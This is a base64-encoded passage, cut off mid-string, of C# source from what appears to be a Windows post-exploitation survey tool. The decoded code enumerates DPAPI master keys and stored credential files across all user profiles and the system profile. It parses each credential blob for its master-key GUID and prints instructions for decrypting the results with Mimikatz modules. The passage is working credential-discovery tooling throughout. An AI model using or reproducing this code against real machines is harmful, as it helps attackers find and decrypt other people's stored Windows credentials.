CAgICBpZiAoSXNIaWdoSW50ZWdyaXR5KCkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IENoZWNraW5nIGZvciBEUEFQSSBNYXN0ZXIgS2V5cyAoQWxsIFVzZXJzKSA9PT1cclxuIik7CgogICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyRm9sZGVyID0gU3RyaW5nLkZvcm1hdCgiezB9XFxVc2Vyc1xcIiwgRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiU3lzdGVtRHJpdmUiKSk7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gZGlycyA9IERpcmVjdG9yeS5HZXREaXJlY3Rvcmllcyh1c2VyRm9sZGVyKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZGlyIGluIGRpcnMpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBwYXJ0cyA9IGRpci5TcGxpdCgnXFwnKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJOYW1lID0gcGFydHNbcGFydHMuTGVuZ3RoIC0gMV07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghKGRpci5FbmRzV2l0aCgiUHVibGljIikgfHwgZGlyLkVuZHNXaXRoKCJEZWZhdWx0IikgfHwgZGlyLkVuZHNXaXRoKCJEZWZhdWx0IFVzZXIiKSB8fCBkaXIuRW5kc1dpdGgoIkFsbCBVc2VycyIpKSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJEUEFQSUJhc2VQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxSb2FtaW5nXFxNaWNyb3NvZnRcXFByb3RlY3RcXCIsIGRpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkRpcmVjdG9yeS5FeGlzdHModXNlckRQQVBJQmFzZVBhdGgpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIGRpcmVjdG9yaWVzID0gRGlyZWN0b3J5LkdldERpcmVjdG9yaWVzKHVzZXJEUEFQSUJhc2VQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZGlyZWN0b3J5IGluIGRpcmVjdG9yaWVzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gZmlsZXMgPSBEaXJlY3RvcnkuR2V0RmlsZXMoZGlyZWN0b3J5KTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgRm9sZGVyICAgICAgIDogezB9XHJcbiIsIGRpcmVjdG9yeSk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZmlsZSBpbiBmaWxlcykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFJlZ2V4LklzTWF0Y2goZmlsZSwgQCJbMC05QS1GYS1mXXs4fVstXVswLTlBLUZhLWZdezR9Wy1dWzAtOUEtRmEtZl17NH1bLV1bMC05QS1GYS1mXXs0fVstXVswLTlBLUZhLWZdezEyfSIpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RNb2RpZmllZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGZpbGVOYW1lID0gU3lzdGVtLklPLlBhdGguR2V0RmlsZU5hbWUoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBNYXN0ZXJLZXkgICAgOiB7MH0iLCBmaWxlTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgICAgQWNjZXNzZWQgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICAgIE1vZGlmaWVkIDogezB9XHJcbiIsIGxhc3RNb2RpZmllZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIFVzZSB0aGUgTWltaWthdHogXCJkcGFwaTo6bWFzdGVya2V5XCIgbW9kdWxlIHdpdGggYXBwcm9wcmlhdGUgYXJndW1lbnRzICgvcHZrIG9yIC9ycGMpIHRvIGRlY3J5cHQiKTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gWW91IGNhbiBhbHNvIGV4dHJhY3QgbWFueSBEUEFQSSBtYXN0ZXJrZXlzIGZyb20gbWVtb3J5IHdpdGggdGhlIE1pbWlrYXR6IFwic2VrdXJsc2E6OmRwYXBpXCIgbW9kdWxlIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IENoZWNraW5nIGZvciBEUEFQSSBNYXN0ZXIgS2V5cyAoQ3VycmVudCBVc2VyKSA9PT1cclxuIik7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJOYW1lID0gRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUk5BTUUiKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlckRQQVBJQmFzZVBhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXFJvYW1pbmdcXE1pY3Jvc29mdFxcUHJvdGVjdFxcIiwgU3lzdGVtLkVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlVTRVJQUk9GSUxFIikpOwoKICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkRpcmVjdG9yeS5FeGlzdHModXNlckRQQVBJQmFzZVBhdGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gZGlyZWN0b3JpZXMgPSBEaXJlY3RvcnkuR2V0RGlyZWN0b3JpZXModXNlckRQQVBJQmFzZVBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZGlyZWN0b3J5IGluIGRpcmVjdG9yaWVzKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBmaWxlcyA9IERpcmVjdG9yeS5HZXRGaWxlcyhkaXJlY3RvcnkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgRm9sZGVyICAgICAgIDogezB9XHJcbiIsIGRpcmVjdG9yeSk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGZpbGUgaW4gZmlsZXMpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFJlZ2V4LklzTWF0Y2goZmlsZSwgQCJbMC05QS1GYS1mXXs4fVstXVswLTlBLUZhLWZdezR9Wy1dWzAtOUEtRmEtZl17NH1bLV1bMC05QS1GYS1mXXs0fVstXVswLTlBLUZhLWZdezEyfSIpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdEFjY2Vzc2VkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RNb2RpZmllZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBmaWxlTmFtZSA9IFN5c3RlbS5JTy5QYXRoLkdldEZpbGVOYW1lKGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIE1hc3RlcktleSAgICA6IHswfSIsIGZpbGVOYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgICAgQWNjZXNzZWQgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgICBNb2RpZmllZCA6IHswfVxyXG4iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gVXNlIHRoZSBNaW1pa2F0eiBcImRwYXBpOjptYXN0ZXJrZXlcIiBtb2R1bGUgd2l0aCBhcHByb3ByaWF0ZSBhcmd1bWVudHMgKC9ycGMpIHRvIGRlY3J5cHQiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleC5NZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RDcmVkRmlsZXMoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gbGlzdHMgYW55IGZvdW5kIGZpbGVzIGluIExvY2FsXE1pY3Jvc29mdFxDcmVkZW50aWFsc1wqCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoSXNIaWdoSW50ZWdyaXR5KCkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IENoZWNraW5nIGZvciBDcmVkZW50aWFsIEZpbGVzIChBbGwgVXNlcnMpID09PVxyXG4iKTsKCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJGb2xkZXIgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXFVzZXJzXFwiLCBFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJTeXN0ZW1Ecml2ZSIpKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBkaXJzID0gRGlyZWN0b3J5LkdldERpcmVjdG9yaWVzKHVzZXJGb2xkZXIpOwogICAgICAgICAgICAgICAgICAgIGJvb2wgZm91bmQgPSBmYWxzZTsKCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGRpciBpbiBkaXJzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gcGFydHMgPSBkaXIuU3BsaXQoJ1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyTmFtZSA9IHBhcnRzW3BhcnRzLkxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIShkaXIuRW5kc1dpdGgoIlB1YmxpYyIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCBVc2VyIikgfHwgZGlyLkVuZHNXaXRoKCJBbGwgVXNlcnMiKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyQ3JlZEZpbGVQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxDcmVkZW50aWFsc1xcIiwgZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRGlyZWN0b3J5LkV4aXN0cyh1c2VyQ3JlZEZpbGVQYXRoKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBzeXN0ZW1GaWxlcyA9IERpcmVjdG9yeS5HZXRGaWxlcyh1c2VyQ3JlZEZpbGVQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKHN5c3RlbUZpbGVzICE9IG51bGwpICYmIChzeXN0ZW1GaWxlcy5MZW5ndGggIT0gMCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgICBGb2xkZXIgICAgICAgOiB7MH1cclxuIiwgdXNlckNyZWRGaWxlUGF0aCk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZmlsZSBpbiBzeXN0ZW1GaWxlcykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdEFjY2Vzc2VkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0TW9kaWZpZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9uZyBzaXplID0gbmV3IFN5c3RlbS5JTy5GaWxlSW5mbyhmaWxlKS5MZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgZmlsZU5hbWUgPSBTeXN0ZW0uSU8uUGF0aC5HZXRGaWxlTmFtZShmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgQ3JlZEZpbGUgICAgIDogezB9IiwgZmlsZU5hbWUpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIGphbmtpbHkgcGFyc2UgdGhlIGJ5dGVzIHRvIGV4dHJhY3QgdGhlIGNyZWRlbnRpYWwgdHlwZSBhbmQgbWFzdGVyIGtleSBHVUlECiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyByZWZlcmVuY2UtIGh0dHBzOi8vZ2l0aHViLmNvbS9nZW50aWxraXdpL21pbWlrYXR6L2Jsb2IvM2Q4YmUyMmZmZjlmNzIyMmY5NTkwYWEwMDc2MjllMTgzMDBjZjY0My9tb2R1bGVzL2t1bGxfbV9kcGFwaS5oI0wyNC1MNTQKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJ5dGVbXSBjcmVkZW50aWFsQXJyYXkgPSBGaWxlLlJlYWRBbGxCeXRlcyhmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJ5dGVbXSBndWlkTWFzdGVyS2V5QXJyYXkgPSBuZXcgYnl0ZVsxNl07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBcnJheS5Db3B5KGNyZWRlbnRpYWxBcnJheSwgMzYsIGd1aWRNYXN0ZXJLZXlBcnJheSwgMCwgMTYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR3VpZCBndWlkTWFzdGVyS2V5ID0gbmV3IEd1aWQoZ3VpZE1hc3RlcktleUFycmF5KTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBieXRlW10gc3RyaW5nTGVuQXJyYXkgPSBuZXcgYnl0ZVsxNl07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBcnJheS5Db3B5KGNyZWRlbnRpYWxBcnJheSwgNTYsIHN0cmluZ0xlbkFycmF5LCAwLCA0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGludCBkZXNjTGVuID0gQml0Q29udmVydGVyLlRvSW50MzIoc3RyaW5nTGVuQXJyYXksIDApOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJ5dGVbXSBkZXNjQnl0ZXMgPSBuZXcgYnl0ZVtkZXNjTGVuXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFycmF5LkNvcHkoY3JlZGVudGlhbEFycmF5LCA2MCwgZGVzY0J5dGVzLCAwLCBkZXNjTGVuIC0gNCk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGRlc2MgPSBFbmNvZGluZy5Vbmljb2RlLkdldFN0cmluZyhkZXNjQnl0ZXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBEZXNjcmlwdGlvbiAgOiB7MH0iLCBkZXNjKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgTWFzdGVyS2V5ICAgIDogezB9IiwgZ3VpZE1hc3RlcktleS5Ub1N0cmluZygpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgQWNjZXNzZWQgICAgIDogezB9IiwgbGFzdEFjY2Vzc2VkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgTW9kaWZpZWQgICAgIDogezB9IiwgbGFzdE1vZGlmaWVkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgU2l6ZSAgICAgICAgIDogezB9XHJcbiIsIHNpemUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgc3lzdGVtRm9sZGVyID0gU3RyaW5nLkZvcm1hdCgiezB9XFxTeXN0ZW0zMlxcY29uZmlnXFxzeXN0ZW1wcm9maWxlXFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxDcmVkZW50aWFscyIsIEVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlN5c3RlbVJvb3QiKSk7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gZmlsZXMgPSBEaXJlY3RvcnkuR2V0RmlsZXMoc3lzdGVtRm9sZGVyKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKGZpbGVzICE9IG51bGwpICYmIChmaWxlcy5MZW5ndGggIT0gMCkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgICBGb2xkZXIgICAgICAgOiB7MH1cclxuIiwgc3lzdGVtRm9sZGVyKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBmaWxlIGluIGZpbGVzKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0QWNjZXNzZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0QWNjZXNzVGltZShmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RNb2RpZmllZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb25nIHNpemUgPSBuZXcgU3lzdGVtLklPLkZpbGVJbmZvKGZpbGUpLkxlbmd0aDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBmaWxlTmFtZSA9IFN5c3RlbS5JTy5QYXRoLkdldEZpbGVOYW1lKGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm91bmQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBDcmVkRmlsZSAgICAgOiB7MH0iLCBmaWxlTmFtZSk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gamFua2lseSBwYXJzZSB0aGUgYnl0ZXMgdG8gZXh0cmFjdCB0aGUgY3JlZGVudGlhbCB0eXBlIGFuZCBtYXN0ZXIga2V5IEdVSUQKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHJlZmVyZW5jZS0gaHR0cHM6Ly9naXRodWIuY29tL2dlbnRpbGtpd2kvbWltaWthdHovYmxvYi8zZDhiZTIyZmZmOWY3MjIyZjk1OTBhYTAwNzYyOWUxODMwMGNmNjQzL21vZHVsZXMva3VsbF9tX2RwYXBpLmgjTDI0LUw1NAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGNyZWRlbnRpYWxBcnJheSA9IEZpbGUuUmVhZEFsbEJ5dGVzKGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGd1aWRNYXN0ZXJLZXlBcnJheSA9IG5ldyBieXRlWzE2XTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFycmF5LkNvcHkoY3JlZGVudGlhbEFycmF5LCAzNiwgZ3VpZE1hc3RlcktleUFycmF5LCAwLCAxNik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBHdWlkIGd1aWRNYXN0ZXJLZXkgPSBuZXcgR3VpZChndWlkTWFzdGVyS2V5QXJyYXkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJ5dGVbXSBzdHJpbmdMZW5BcnJheSA9IG5ldyBieXRlWzE2XTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFycmF5LkNvcHkoY3JlZGVudGlhbEFycmF5LCA1Niwgc3RyaW5nTGVuQXJyYXksIDAsIDQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaW50IGRlc2NMZW4gPSBCaXRDb252ZXJ0ZXIuVG9JbnQzMihzdHJpbmdMZW5BcnJheSwgMCk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGRlc2NCeXRlcyA9IG5ldyBieXRlW2Rlc2NMZW5dOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQXJyYXkuQ29weShjcmVkZW50aWFsQXJyYXksIDYwLCBkZXNjQnl0ZXMsIDAsIGRlc2NMZW4gLSA0KTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgZGVzYyA9IEVuY29kaW5nLlVuaWNvZGUuR2V0U3RyaW5nKGRlc2NCeXRlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIERlc2NyaXB0aW9uICA6IHswfSIsIGRlc2MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBNYXN0ZXJLZXkgICAgOiB7MH0iLCBndWlkTWFzdGVyS2V5LlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBBY2Nlc3NlZCAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBNb2RpZmllZCAgICAgOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBTaXplICAgICAgICAgOiB7MH1cclxuIiwgc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGlmIChmb3VuZCkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBVc2UgdGhlIE1pbWlrYXR6IFwiZHBhcGk6OmNyZWRcIiBtb2R1bGUgd2l0aCBhcHByb3ByaWF0ZSAvbWFzdGVya2V5IHRvIGRlY3J5cHQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIFlvdSBjYW4gZXh0cmFjdCBtYW55IERQQVBJIG1hc3RlcmtleXMgZnJvbSBtZW1vcnkgd2l0aCB0aGUgTWltaWthdHogXCJzZWt1cmxzYTo6ZHBhcGlcIiBtb2R1bGUiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IENoZWNraW5nIGZvciBDcmVkZW50aWFsIEZpbGVzIChDdXJyZW50IFVzZXIpID09PVxyXG4iKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlck5hbWUgPSBFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJVU0VSTkFNRSIpOwogICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyQ3JlZEZpbGVQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxDcmVkZW50aWFsc1xcIiwgU3lzdGVtLkVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlVTRVJQUk9GSUxFIikpOwogICAgICAgICAgICAgICAgICAgIGJvb2wgZm91bmQgPSBmYWxzZTsKCiAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5EaXJlY3RvcnkuRXhpc3RzKHVzZXJDcmVkRmlsZVBhdGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gZmlsZXMgPSBEaXJlY3RvcnkuR2V0RmlsZXModXNlckNyZWRGaWxlUGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgRm9sZGVyICAgICAgIDogezB9XHJcbiIsIHVzZXJDcmVkRmlsZVBhdGgpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGZpbGUgaW4gZmlsZXMpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RBY2Nlc3NlZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RBY2Nlc3NUaW1lKGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdE1vZGlmaWVkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdFdyaXRlVGltZShmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvbmcgc2l6ZSA9IG5ld